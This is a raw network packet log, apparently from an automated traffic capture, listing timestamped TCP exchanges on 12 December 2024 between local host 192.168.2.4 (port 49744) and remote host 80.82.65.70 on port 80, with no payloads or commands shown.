Dec 12, 2024 23:09:06.414441109 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.414486885 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.414597988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.414645910 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.415260077 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.415302992 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.415339947 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.415379047 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.416069031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.416106939 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.416186094 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.416232109 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.416929007 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.416964054 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.417082071 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.417119026 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.417798042 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.417839050 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.417867899 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.417901993 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.418668032 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.418711901 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.418819904 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.418864012 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.419517040 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.419559956 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.419581890 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.419615030 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.420375109 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.420433998 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.420506954 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.420548916 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.421232939 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.421286106 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.421324968 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.421361923 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.422066927 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.422111034 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.422144890 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.422189951 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.422976017 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.423015118 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.423122883 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.423160076 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.423769951 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.423808098 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.423871994 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.423912048 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.424662113 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.424707890 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.424858093 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.424900055 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.425524950 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.425570011 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.425617933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.425652981 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.426422119 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.426462889 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.426491022 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.426544905 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.427268982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.427301884 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.427361012 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.427407980 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.428143978 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.428189993 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.428196907 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.428232908 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.429009914 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.429052114 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.429084063 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.429119110 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.429820061 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.429863930 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.429940939 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.429982901 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.430677891 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.430721998 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.430871964 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.430911064 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.431593895 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.431627989 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.431662083 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.431698084 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.432374954 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.432418108 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.524504900 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.524568081 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.524652004 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.524698019 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.524861097 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.524904013 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.524993896 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.525029898 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.525703907 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.525742054 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.525763035 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.525796890 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.526601076 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.526643991 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.526670933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.526725054 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.527503967 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.527553082 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.527638912 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.527673960 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.528314114 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.528347969 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.528353930 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.528388023 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.529145956 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.529189110 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.529422998 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.529469013 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.530034065 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.530075073 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.530107975 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.530153990 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.530864954 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.530900002 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.530982971 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.531021118 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.531742096 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.531786919 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.531816006 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.531848907 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.532557011 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.532601118 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.532635927 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.532672882 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.533411980 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.533478975 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.533488035 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.533516884 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.534308910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.534352064 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.534384012 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.534424067 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.535270929 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.535319090 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.535482883 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.535526037 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.536010981 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.536024094 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.536052942 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.536068916 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.536849022 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.536885023 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.536962032 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.537000895 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.537730932 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.537767887 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.537805080 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.537843943 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.538608074 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.538675070 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.538719893 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.538753986 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.539460897 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.539515018 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.539546013 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.539587021 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.540322065 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.540359974 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.540441990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.540484905 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.541197062 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.541239023 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.541306019 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.541342020 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.541980982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.542021990 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.542049885 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.542082071 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.542824984 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.542872906 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.542903900 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.542937040 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.543716908 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.543760061 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.543817997 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.543863058 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.544631958 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.544677019 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.544745922 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.544790983 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.545444012 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.545494080 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.545644045 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.545689106 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.546313047 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.546360016 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.546412945 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.546447992 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.648926020 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.648986101 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.649024963 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.649072886 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.649333954 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.649375916 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.649375916 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.649420023 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.650135994 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.650180101 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.650568962 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.650620937 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.650631905 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.650670052 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.651310921 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.651366949 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.651433945 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.651479006 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.652189016 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.652229071 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.652302027 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.652347088 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.653063059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.653107882 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.653112888 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.653151989 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.653888941 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.653943062 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.653958082 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.653992891 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.654684067 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.654726982 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.654813051 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.654850006 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.655585051 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.655641079 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.655642033 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.655683994 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.656439066 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.656485081 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.656517982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.656548977 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.657289982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.657329082 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.657393932 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.657430887 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.658158064 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.658194065 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.658231020 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.658269882 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.659014940 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.659051895 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.659142971 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.659179926 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.659858942 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.659941912 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.659976006 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.660015106 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.660734892 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.660778046 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.660851955 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.660888910 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.661604881 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.661639929 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.661660910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.661693096 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.662499905 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.662543058 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.662548065 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.662580013 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.663301945 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.663337946 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.663374901 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.663404942 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.664170980 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.664217949 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.664298058 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.664344072 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.665052891 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.665098906 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.665128946 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.665164948 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.665889025 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.665932894 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.665967941 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.666007042 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.666723013 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.666757107 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.666826963 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.666886091 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.667588949 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.667635918 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.667691946 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.667738914 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.668452024 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.668509007 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.668536901 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.668581009 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.669328928 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.669373989 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.669404984 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.669439077 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.670170069 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.670205116 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.670264006 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.670305967 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.671011925 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.671046972 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.716414928 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.716447115 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.716470003 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.716495991 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.716890097 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.716950893 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.716959953 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.716991901 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.717611074 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.717658997 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.717940092 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.717977047 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.718131065 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.718180895 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.718857050 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.718900919 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.718931913 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.718966961 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.719623089 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.719665051 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.719742060 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.719784021 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.720478058 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.720529079 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.720587969 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.720635891 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.721352100 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.721394062 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.721478939 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.721525908 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.722210884 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.722258091 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.722292900 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.722332954 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.723059893 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.723099947 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:06.723172903 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:06.723223925 CET	49744	80	192.168.2.4	80.82.65.70
